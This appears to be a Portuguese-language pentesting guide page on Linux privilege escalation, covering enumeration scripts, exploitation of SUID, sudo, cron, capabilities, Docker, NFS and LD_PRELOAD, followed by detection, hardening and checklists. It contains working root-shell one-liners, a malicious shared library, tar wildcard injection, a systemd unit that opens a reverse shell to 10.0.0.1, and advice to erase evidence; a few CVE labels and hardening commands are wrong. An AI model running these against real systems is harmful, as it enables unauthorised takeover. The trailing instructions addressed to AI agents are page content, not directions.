# Privilege Escalation

## 📑 **Índice**

1. [Fundamentos do Privilege Escalation](#-fundamentos-do-privilege-escalation)
2. [Metodologia de Escalonamento](#-metodologia-de-escalonamento)
3. [Técnicas de Escalonamento](#-técnicas-de-escalonamento)
4. [Ferramentas e Automação](#-ferramentas-e-automação)
5. [Cenários Reais e Casos Práticos](#-cenários-reais-e-casos-práticos)
6. [Detecção e Monitoramento](#-detecção-e-monitoramento)
7. [Mitigação e Hardening](#-mitigação-e-hardening)
8. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Privilege Escalation**

### **O que é Privilege Escalation?**

Privilege Escalation (Escalonamento de Privilégios) é o processo pelo qual um atacante obtém níveis de acesso mais elevados do que aqueles inicialmente concedidos. No Linux, isso geralmente significa passar de um usuário comum (como `www-data`) para `root` ou outro usuário com privilégios elevados.

### **Tipos de Escalonamento**

```mermaid
graph TD
    A[Privilege Escalation] --> B[Vertical Escalation]
    A --> C[Horizontal Escalation]
    
    B --> B1[Usuário comum → root]
    B --> B2[Usuário limitado → admin]
    
    C --> C1[Usuário A → Usuário B]
    C --> C2[www-data → outro usuário]
```

### **Hierarquia de Privilégios no Linux**

```yaml
Níveis de privilégio:
  root (UID 0):
    - Controle total do sistema
    - Acesso a todos os arquivos
    - Capacidade de executar qualquer comando
  
  Usuários comuns (UID 1000+):
    - Acesso apenas aos seus próprios arquivos
    - Privilégios limitados via sudo
  
  Usuários de serviço (UID 1-999):
    - www-data, mysql, postgres, etc.
    - Acesso apenas a recursos específicos
    - Geralmente não têm shell interativo
```

***

## 🎯 **Metodologia de Escalonamento**

### **Fases do Escalonamento**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant S as Sistema Alvo

    Note over A,S: FASE 1: Enumeração
    A->>S: Coletar informações do sistema
    S-->>A: Versão kernel, SO, usuários, processos
    
    Note over A,S: FASE 2: Identificação
    A->>S: Buscar vetores de escalonamento
    S-->>A: SUID binaries, sudo, cron, etc.
    
    Note over A,S: FASE 3: Exploração
    A->>S: Executar exploit ou técnica
    S-->>A: Acesso root
    
    Note over A,S: FASE 4: Persistência
    A->>S: Estabelecer backdoor
    S-->>A: Acesso mantido
```

### **Script de Enumeração Automática**

```bash
#!/bin/bash
# linux_privesc_enum.sh - Enumeração automática

echo "=== Linux Privilege Escalation Enumeration ==="
echo ""

# 1. Informações do Sistema
echo "[*] System Information:"
uname -a
cat /etc/os-release 2>/dev/null
echo ""

# 2. Usuário Atual
echo "[*] Current User:"
id
whoami
echo ""

# 3. Usuários do Sistema
echo "[*] System Users:"
cat /etc/passwd | grep -v nologin | grep -v false
echo ""

# 4. Sudo Privileges
echo "[*] Sudo Privileges:"
sudo -l 2>/dev/null
echo ""

# 5. SUID Binaries -> https://gtfobins.org/#
echo "[*] SUID Binaries:"
find / -perm -4000 -type f 2>/dev/null | xargs ls -la
echo ""

# 6 Mount SUID -> https://gtfobins.org/#
echo "[*] SUID Binaries:"
mount | grep -v "nosuid"
echo ""

# 7. Capabilities
echo "[*] Capabilities:"
getcap -r / 2>/dev/null
echo ""

# 8. Cron Jobs
echo "[*] Cron Jobs:"
cat /etc/crontab 2>/dev/null
ls -la /etc/cron* 2>/dev/null
echo ""

# 9. Arquivos com Permissões Incorretas
echo "[*] Writable Files:"
find / -writable -type f 2>/dev/null | grep -v proc | head -20
echo ""

# 10. Processos em Execução
echo "[*] Running Processes:"
ps auxf | head -30
echo ""

# 11. Interfaces de Rede
echo "[*] Network Interfaces:"
ip a
netstat -tulpn 2>/dev/null | head -20
echo ""

# 12. Variáveis de Ambiente
echo "[*] Environment Variables:"
env
echo ""

# 13. Histórico de Comandos
echo "[*] Command History:"
cat ~/.bash_history 2>/dev/null | tail -20
echo ""

echo "[+] Enumeração concluída"
```

***

## ⚔️ **Técnicas de Escalonamento**

### **1. SUID Binaries**

#### **O que são SUID Binaries?**

SUID (Set User ID) é uma permissão especial que permite que um executável seja executado com os privilégios do proprietário do arquivo, não do usuário que o executou.

```bash
# Identificar SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
```

#### **Exploração de SUID Binaries Comuns**

| Binary     | Exploit                  | Comando                                                                      |
| ---------- | ------------------------ | ---------------------------------------------------------------------------- |
| **find**   | Execução de comando      | `find . -exec /bin/sh \; -quit`                                              |
| **cp**     | Sobrescrever /etc/passwd | `cp /etc/passwd /tmp/; echo "root::0:0:root:/root:/bin/bash" >> /tmp/passwd` |
| **vim**    | Shell interativo         | `vim -c ':!/bin/sh'`                                                         |
| **nano**   | Shell interativo         | `nano -s /bin/sh`                                                            |
| **awk**    | Execução de comando      | `awk 'BEGIN {system("/bin/sh")}'`                                            |
| **python** | Shell interativo         | `python -c 'import pty; pty.spawn("/bin/sh")'`                               |
| **perl**   | Shell interativo         | `perl -e 'exec "/bin/sh";'`                                                  |
| **php**    | Shell interativo         | `php -r 'system("/bin/sh");'`                                                |

#### **Exemplo: Exploração do find**

```bash
# Identificar find com SUID
ls -la /usr/bin/find
# -rwsr-xr-x 1 root root 123456 /usr/bin/find

# Executar shell como root
find / -exec /bin/sh \; -quit
# Obtém shell root
```

### **2. Sudo Exploits**

#### **Verificar Privilégios Sudo**

```bash
# Listar comandos que usuário pode executar com sudo
sudo -l

# Exemplo de saída:
# User www-data may run the following commands on host:
#     (ALL) NOPASSWD: /usr/bin/apt
#     (ALL) NOPASSWD: /bin/systemctl
```

#### **Exploração de Comandos Sudo Comuns**

| Comando         | Exploit                                                       |
| --------------- | ------------------------------------------------------------- |
| **apt/apt-get** | `sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh`        |
| **systemctl**   | `sudo systemctl start service; sudo systemctl enable service` |
| **vim**         | `sudo vim -c ':!/bin/sh'`                                     |
| **less**        | `sudo less /etc/passwd` (dentro: `!sh`)                       |
| **man**         | `sudo man man` (dentro: `!sh`)                                |
| **find**        | `sudo find . -exec /bin/sh \; -quit`                          |
| **python**      | `sudo python -c 'import pty; pty.spawn("/bin/sh")'`           |
| **awk**         | `sudo awk 'BEGIN {system("/bin/sh")}'`                        |

#### **Exemplo: Exploração do apt**

```bash
# Verificar sudo para apt
sudo -l
# User may run: (ALL) NOPASSWD: /usr/bin/apt

# Exploração
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
# Obtém shell root
```

### **3. Cron Jobs**

#### **Identificar Cron Jobs Mal Configurados**

```bash
# Listar cron jobs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

# Verificar cron jobs de usuários
cat /var/spool/cron/crontabs/*
```

#### **Exploração de Cron Jobs**

```bash
# 1. Script executado como root com permissão de escrita
# Se o script é writable, podemos modificar
echo '#!/bin/bash' > /etc/cron.hourly/backup.sh
echo 'chmod 777 /root/flag' >> /etc/cron.hourly/backup.sh

# 2. Path hijacking (se cron usa PATH relativo)
# Criar script com mesmo nome em diretório writable
echo '#!/bin/bash' > /tmp/backup
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATH

# 3. Wildcard injection (se script usa * com comandos)
# Exemplo: tar -czf /backup.tar.gz /var/www/*
# Criar arquivo com nome de comando
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
```

### **4. Capabilities Linux**

#### **O que são Capabilities?**

Capabilities dividem os privilégios root em unidades menores, permitindo que processos tenham apenas permissões específicas.

```bash
# Listar capabilities
getcap -r / 2>/dev/null

# Exemplos de capabilities perigosas
# cap_setuid+ep - pode mudar UID
# cap_setgid+ep - pode mudar GID
# cap_sys_admin+ep - pode montar sistemas de arquivos
# cap_dac_override+ep - pode ignorar permissões de arquivo
```

#### **Exploração de Capabilities**

| Capability             | Exploit                                                     |
| ---------------------- | ----------------------------------------------------------- |
| **cap\_setuid**        | `python -c 'import os; os.setuid(0); os.system("/bin/sh")'` |
| **cap\_dac\_override** | Modificar qualquer arquivo, incluindo /etc/passwd           |
| **cap\_sys\_admin**    | Montar novo sistema de arquivos para escalar                |
| **cap\_sys\_ptrace**   | Injectar código em processos root                           |

```bash
# Exemplo: Python com cap_setuid
# Verificar capabilities
getcap /usr/bin/python
# /usr/bin/python = cap_setuid+ep

# Exploração
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'
```

### **5. Kernel Exploits**

#### **Identificar Versão do Kernel**

```bash
uname -a
cat /proc/version
```

#### **Exploits de Kernel Comuns**

| CVE              | Versão        | Descrição                           |
| ---------------- | ------------- | ----------------------------------- |
| CVE-2016-5195    | Dirty Cow     | Race condition em mmap              |
| CVE-2017-1000112 | Dirty Pipe    | Sobrescrita de arquivos             |
| CVE-2021-3156    | Baron Samedit | Buffer overflow no sudo             |
| CVE-2022-0847    | Dirty Pipe    | Sobrescrita de arquivos arbitrários |
| CVE-2023-0386    | OverlayFS     | Escalonamento via overlayfs         |

```bash
# Exemplo: Dirty Pipe (CVE-2022-0847)
# Compilar exploit
gcc -o dirtypipe exploit.c

# Executar
./dirtypipe /etc/passwd 1 "root::0:0:root:/root:/bin/bash"
```

### **6. Serviços e Processos**

#### **Serviços com Privilégios**

```bash
# Listar serviços em execução
systemctl list-units --type=service
ps auxf | grep root

# Verificar serviços com permissões fracas
find /etc/systemd/system/ -type f -writable 2>/dev/null
```

#### **Exploração de Serviços**

```bash
# Se um serviço roda como root e tem configuração writable
echo '[Service]' >> /etc/systemd/system/evil.service
echo 'ExecStart=/bin/bash -c "/bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"' >> /etc/systemd/system/evil.service
systemctl enable evil.service
systemctl start evil.service
```

### **7. LD\_PRELOAD e Variáveis de Ambiente**

#### **LD\_PRELOAD Exploit**

```bash
# Verificar se sudo permite manter variáveis de ambiente
sudo -l
# env_keep+=LD_PRELOAD

# Criar biblioteca maliciosa
cat > shell.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/sh");
}
EOF

# Compilar
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

# Executar com sudo
sudo LD_PRELOAD=./shell.so /usr/bin/sudo
```

### **8. Docker Breakout**

```bash
# Se usuário está no grupo docker
id
# uid=1000(user) gid=1000(user) groups=1000(user),999(docker)

# Escalonamento via docker
docker run -v /:/mnt -it alpine chroot /mnt /bin/sh

# Ou montar socket docker
docker run -v /var/run/docker.sock:/var/run/docker.sock -it alpine sh
# Dentro do container:
apk add docker
docker run -v /:/mnt -it alpine chroot /mnt /bin/sh
```

### **9. NFS Shares**

```bash
# Verificar NFS exports
cat /etc/exports
showmount -e localhost

# Se exportado com no_root_squash, podemos montar como root
mount -t nfs -o rw,no_root_squash target:/share /mnt

# Criar SUID binary
echo 'int main(){setuid(0); system("/bin/bash"); return 0;}' > /mnt/shell.c
gcc -o /mnt/shell /mnt/shell.c
chmod +s /mnt/shell

# Executar no alvo
/mnt/shell
```

### **10. MySQL/PostgreSQL Escalation**

```bash
# MySQL UDF (User Defined Functions)
# Criar função para executar comandos
SELECT sys_exec('chmod 777 /root/flag');

# PostgreSQL COPY
COPY (SELECT '') TO PROGRAM 'chmod 777 /root/flag';

# PostgreSQL CMD
CREATE OR REPLACE FUNCTION system(text) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C;
SELECT system('chmod 777 /root/flag');
```

***

## 🛠️ **Ferramentas e Automação**

### **1. LinPEAS – Linux Privilege Escalation Awesome Script**

```bash
# Download e execução
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# Modo rápido
./linpeas.sh -q

# Com saída colorida
./linpeas.sh -a
```

### **2. LinEnum – Script de Enumeração**

```bash
# Download
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

# Com saída para arquivo
./LinEnum.sh -t > output.txt
```

### **3. Linux Exploit Suggester**

```bash
# Download
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh

# Executar
./linux-exploit-suggester.sh

# Com versão específica
./linux-exploit-suggester.sh -k 5.4.0-42
```

### **4. Suid3num – Scanner de SUID**

```bash
# Download
wget https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py
python3 suid3num.py
```

### **5. Script Python de Enumeração**

```python
#!/usr/bin/env python3
# privesc_enum.py - Enumeração de escalonamento

import os
import subprocess
import pwd
import grp

class PrivilegeEscalationEnum:
    def __init__(self):
        self.results = {}
    
    def get_system_info(self):
        """Coletar informações do sistema"""
        self.results['kernel'] = os.uname()
        self.results['os'] = subprocess.getoutput('cat /etc/os-release 2>/dev/null')
    
    def get_suid_binaries(self):
        """Listar SUID binaries"""
        suid = subprocess.getoutput('find / -perm -4000 -type f 2>/dev/null')
        self.results['suid'] = suid.split('\n')
    
    def get_sudo_privileges(self):
        """Verificar sudo privileges"""
        sudo = subprocess.getoutput('sudo -l 2>/dev/null')
        self.results['sudo'] = sudo
    
    def get_cron_jobs(self):
        """Listar cron jobs"""
        cron = subprocess.getoutput('cat /etc/crontab 2>/dev/null')
        self.results['cron'] = cron
    
    def get_capabilities(self):
        """Listar capabilities"""
        caps = subprocess.getoutput('getcap -r / 2>/dev/null')
        self.results['capabilities'] = caps
    
    def get_writable_files(self):
        """Encontrar arquivos writable"""
        writable = subprocess.getoutput('find / -writable -type f 2>/dev/null | head -20')
        self.results['writable'] = writable
    
    def get_processes(self):
        """Listar processos em execução"""
        processes = subprocess.getoutput('ps auxf')
        self.results['processes'] = processes
    
    def run_all(self):
        """Executar todas as verificações"""
        print("[*] Iniciando enumeração...")
        
        self.get_system_info()
        self.get_suid_binaries()
        self.get_sudo_privileges()
        self.get_cron_jobs()
        self.get_capabilities()
        self.get_writable_files()
        self.get_processes()
        
        # Exibir resultados
        print("\n=== Sistema ===")
        print(f"Kernel: {self.results['kernel'].sysname} {self.results['kernel'].release}")
        
        print("\n=== SUID Binaries ===")
        for binary in self.results['suid'][:20]:
            print(f"  {binary}")
        
        print("\n=== Sudo Privileges ===")
        print(self.results['sudo'] or "  Nenhum")
        
        print("\n=== Cron Jobs ===")
        print(self.results['cron'] or "  Nenhum")
        
        print("\n=== Capabilities ===")
        print(self.results['capabilities'] or "  Nenhum")
        
        print("\n=== Writable Files (primeiros 20) ===")
        print(self.results['writable'])
        
        return self.results

if __name__ == "__main__":
    enum = PrivilegeEscalationEnum()
    enum.run_all()
```

***

## 📊 **Cenários Reais e Casos Práticos**

### **Cenário 1: SUID Binary com find**

```bash
# Contexto: Usuário www-data, find com SUID
www-data@target:~$ ls -la /usr/bin/find
-rwsr-xr-x 1 root root 123456 /usr/bin/find

# Exploração
www-data@target:~$ find / -exec /bin/sh \; -quit
# Obtém shell root
sh-5.0# id
uid=0(root) gid=0(root) groups=0(root)
```

### **Cenário 2: Sudo com apt**

```bash
# Contexto: Sudo sem senha para apt
user@target:~$ sudo -l
User user may run: (ALL) NOPASSWD: /usr/bin/apt

# Exploração
user@target:~$ sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
# Obtém shell root
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
```

### **Cenário 3: Cron Job com Script Writable**

```bash
# Contexto: Cron job executando script como root
www-data@target:~$ cat /etc/crontab
*/5 * * * * root /opt/backup.sh

www-data@target:~$ ls -la /opt/backup.sh
-rwxrwxrwx 1 root root 123 /opt/backup.sh

# Exploração
www-data@target:~$ echo 'chmod 777 /root/flag' >> /opt/backup.sh
www-data@target:~$ echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/backup.sh

# Aguardar execução do cron
www-data@target:~$ /tmp/rootbash -p
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
```

### **Cenário 4: LD\_PRELOAD com Sudo**

```bash
# Contexto: Sudo mantém LD_PRELOAD
user@target:~$ sudo -l
env_keep+=LD_PRELOAD

# Exploração
user@target:~$ cat > shell.c << EOF
> #include <stdio.h>
> #include <sys/types.h>
> #include <stdlib.h>
> void _init() {
>     unsetenv("LD_PRELOAD");
>     setuid(0);
>     setgid(0);
>     system("/bin/sh");
> }
> EOF

user@target:~$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles

user@target:~$ sudo LD_PRELOAD=./shell.so /usr/bin/sudo
# Obtém shell root
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
```

### **Cenário 5: Docker Group Escalation**

```bash
# Contexto: Usuário no grupo docker
user@target:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),999(docker)

# Exploração
user@target:~$ docker run -v /:/mnt -it alpine chroot /mnt /bin/sh
# Obtém shell root dentro do container
/ # id
uid=0(root) gid=0(root) groups=0(root)

# Acessar sistema host
/ # ls /root/
flag.txt
```

***

## 🔍 **Detecção e Monitoramento**

### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de escalonamento:
  - Uso de SUID binaries não autorizados
  - Modificação de cron jobs
  - Novos arquivos SUID criados
  - Alterações em /etc/passwd ou /etc/shadow
  - Processos filhos inesperados (shells de processos web)
  - Conexões de rede para portas incomuns
  - Arquivos com permissões 777 em diretórios sensíveis
```

### **Logs a Monitorar**

```bash
# Logs de autenticação
tail -f /var/log/auth.log
tail -f /var/log/secure

# Logs de comandos
tail -f /var/log/audit/audit.log

# Logs de sudo
tail -f /var/log/sudo.log

# Logs de sistema
tail -f /var/log/syslog

# Histórico de comandos
tail -f /home/*/.bash_history
tail -f /root/.bash_history
```

### **Ferramentas de Detecção**

```bash
# AIDE - Detecção de integridade
aide --check

# Tripwire
tripwire --check

# Osquery
osqueryi "SELECT * FROM suid_binaries;"
osqueryi "SELECT * FROM crontab;"
osqueryi "SELECT * FROM processes WHERE name='sh' AND parent LIKE '%apache%';"

# Auditd rules
auditctl -w /etc/passwd -p wa -k passwd_change
auditctl -w /etc/shadow -p wa -k shadow_change
auditctl -w /usr/bin/sudo -p x -k sudo_exec
```

***

## 🛡️ **Mitigação e Hardening**

### **Hardening do Sistema**

```bash
#!/bin/bash
# hardening_privesc.sh - Hardening contra escalonamento

echo "[*] Hardening contra privilege escalation"

# 1. Remover SUID binaries desnecessários
find / -perm -4000 -type f -exec chmod -s {} \;
# Manter apenas essenciais (ex: sudo, su, passwd)
chmod +s /usr/bin/sudo
chmod +s /bin/su
chmod +s /usr/bin/passwd

# 2. Configurar sudo corretamente
echo "Defaults env_reset,timestamp_timeout=0" >> /etc/sudoers
echo "Defaults mail_badpass" >> /etc/sudoers

# 3. Restringir cron jobs
chmod 600 /etc/crontab
chmod 600 /etc/cron.d/*
chmod 600 /var/spool/cron/crontabs/*

# 4. Configurar AppArmor/SELinux
aa-enforce /usr/sbin/apache2
setenforce 1

# 5. Restringir acesso a docker
usermod -G docker -R www-data

# 6. Configurar kernel parameters
cat >> /etc/sysctl.conf << EOF
kernel.kptr_restrict=2
kernel.dmesg_restrict=1
kernel.yama.ptrace_scope=1
EOF
sysctl -p

# 7. Desabilitar core dumps
echo "* hard core 0" >> /etc/security/limits.conf

echo "[+] Hardening concluído"
```

### **Configuração de Sudo Segura**

```bash
# /etc/sudoers - Configuração segura
Defaults    env_reset
Defaults    mail_badpass
Defaults    secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Defaults    use_pty

# Restringir comandos
user ALL=(ALL) /usr/bin/apt update
user ALL=(ALL) /usr/bin/systemctl status

# Sem permissão para LD_PRELOAD
Defaults env_keep -= "LD_PRELOAD"
```

### **Monitoramento Contínuo**

```bash
# Configurar auditd para monitorar escalonamento
cat > /etc/audit/rules.d/privesc.rules << EOF
# Monitorar SUID execution
-a always,exit -F perm=x -F mode=4000 -F auid!=0 -k suid_exec

# Monitorar sudo
-w /usr/bin/sudo -p x -k sudo_exec

# Monitorar alterações em arquivos sensíveis
-w /etc/passwd -p wa -k passwd_change
-w /etc/shadow -p wa -k shadow_change
-w /etc/sudoers -p wa -k sudoers_change

# Monitorar cron
-w /etc/crontab -p wa -k crontab_change
-w /etc/cron.d/ -p wa -k cron_change
EOF

auditctl -R /etc/audit/rules.d/privesc.rules
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **SUID Binaries**
  * [ ] Remover SUID desnecessários
  * [ ] Revisar periodicamente novos SUID
  * [ ] Monitorar execução de SUID
* [ ] **Sudo**
  * [ ] Configurar com timeout
  * [ ] Usar requiretty
  * [ ] Limitar comandos permitidos
  * [ ] Não usar NOPASSWD em produção
* [ ] **Cron Jobs**
  * [ ] Verificar permissões de scripts
  * [ ] Usar caminhos absolutos
  * [ ] Evitar scripts writable
* [ ] **Capabilities**
  * [ ] Remover capabilities desnecessárias
  * [ ] Auditar capabilities periodicamente
* [ ] **Kernel**
  * [ ] Manter kernel atualizado
  * [ ] Aplicar patches de segurança
  * [ ] Desabilitar módulos desnecessários
* [ ] **Serviços**
  * [ ] Executar com privilégios mínimos
  * [ ] Isolar serviços em containers

### **Checklist de Teste**

* [ ] **Enumeração**
  * [ ] Coletar informações do sistema
  * [ ] Listar SUID binaries
  * [ ] Verificar sudo privileges
  * [ ] Listar cron jobs
  * [ ] Verificar capabilities
* [ ] **Exploração**
  * [ ] Testar SUID binaries conhecidos
  * [ ] Explorar comandos sudo
  * [ ] Verificar cron jobs writable
  * [ ] Testar exploits de kernel
  * [ ] Verificar serviços vulneráveis
* [ ] **Pós-exploração**
  * [ ] Extrair credenciais
  * [ ] Estabelecer persistência
  * [ ] Limpar evidências

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Privilege Escalation no Linux:
  ✅ SUID binaries são o vetor mais comum
  ✅ Sudo mal configurado é extremamente perigoso
  ✅ Cron jobs writable permitem execução como root
  ✅ Kernel exploits são menos comuns, mas devastadores
  ✅ Docker group oferece escalonamento direto

Defesas essenciais:
  ❌ Nunca executar serviços como root
  ✓ Aplicar princípio do menor privilégio
  ✓ Auditar SUID binaries regularmente
  ✓ Configurar sudo com restrições
  ✓ Manter sistema atualizado
```

### **Comandos Úteis para Pentesters**

```bash
# Verificar kernel exploits
uname -a
searchsploit linux kernel

# Buscar SUID
find / -perm -4000 -type f 2>/dev/null

# Buscar writable
find / -writable -type f 2>/dev/null | grep -v proc

# Verificar sudo
sudo -l

# Listar processos
ps auxf

# Verificar cron
cat /etc/crontab
ls -la /etc/cron*

# Verificar capabilities
getcap -r / 2>/dev/null

# Verificar grupos
id
groups
```

### **Recomendações Finais**

1. **Para Administradores**
   * Mantenha o sistema atualizado
   * Remova SUID binaries desnecessários
   * Configure sudo com políticas restritivas
   * Monitore logs regularmente
   * Implemente AppArmor/SELinux
2. **Para Pentesters**
   * Sempre comece com enumeração completa
   * Teste todos os vetores conhecidos
   * Combine técnicas para escalonamento
   * Documente todos os passos
   * Limpe evidências após o teste
3. **Para Desenvolvedores**
   * Nunca rode processos como root sem necessidade
   * Use capabilities em vez de SUID
   * Valide todas as entradas
   * Siga o princípio do menor privilégio

**🔐 Lembre-se**: O escalonamento de privilégios é o momento crítico que separa um acesso limitado do controle total do sistema. Defesas em profundidade são essenciais para prevenir esses ataques.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/linux/privilege-escalation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.